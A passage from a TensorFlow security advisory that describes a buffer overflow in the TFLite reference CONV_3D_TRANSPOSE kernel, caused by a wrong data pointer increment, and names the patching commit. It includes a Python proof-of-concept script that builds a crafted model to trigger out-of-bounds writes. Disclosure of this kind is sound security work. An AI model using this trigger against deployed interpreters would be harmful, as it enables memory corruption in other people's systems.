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overflow in `CONV_3D_TRANSPOSE` on TFLite","description":"### Impact\nThe reference kernel of the [`CONV_3D_TRANSPOSE`](https://github.com/tensorflow/tensorflow/blob/091e63f0ea33def7ecad661a5ac01dcafbafa90b/tensorflow/lite/kernels/internal/reference/conv3d_transpose.h#L121) TensorFlow Lite operator wrongly increments the data_ptr when adding the bias to the result.\n\nInstead of `data_ptr += num_channels;` it should be `data_ptr += output_num_channels;` as if the number of input channels is different than the number of output channels, the wrong result will be returned and a buffer overflow will occur if num_channels \u003e output_num_channels.\n\nAn attacker can craft a model with a specific number of input channels in a way similar to the attached example script. It is then possible to write specific values through the bias of the layer outside the bounds of the buffer. This attack only works if the reference kernel resolver is used in the interpreter (i.e. `experimental_op_resolver_type=tf.lite.experimental.OpResolverType.BUILTIN_REF` is used).\n```python\nimport tensorflow as tf\nmodel = tf.keras.Sequential(\n    [\n        tf.keras.layers.InputLayer(input_shape=(2, 2, 2, 1024), batch_size=1),\n        tf.keras.layers.Conv3DTranspose(\n            filters=8,\n            kernel_size=(2, 2, 2),\n            padding=\"same\",\n            data_format=\"channels_last\",\n        ),\n    ]\n)\n\nconverter = tf.lite.TFLiteConverter.from_keras_model(model)\ntflite_model = converter.convert()\n\ninterpreter = tf.lite.Interpreter(\n    model_content=tflite_model,\n    experimental_op_resolver_type=tf.lite.experimental.OpResolverType.BUILTIN_REF,\n)\n\ninterpreter.allocate_tensors()\ninterpreter.set_tensor(\n    interpreter.get_input_details()[0][\"index\"], tf.zeros(shape=[1, 2, 2, 2, 1024])\n)\ninterpreter.invoke()\n```\n\n### Patches\nWe have patched the issue in GitHub commit [72c0bdcb25305b0b36842d746cc61d72658d2941](https://github.com/tensorflow/tensorflow/commit/72c0bdcb25305b0b36842d746cc61d72658d2941).\n\nThe fix will be included in TensorFlow 2.11. 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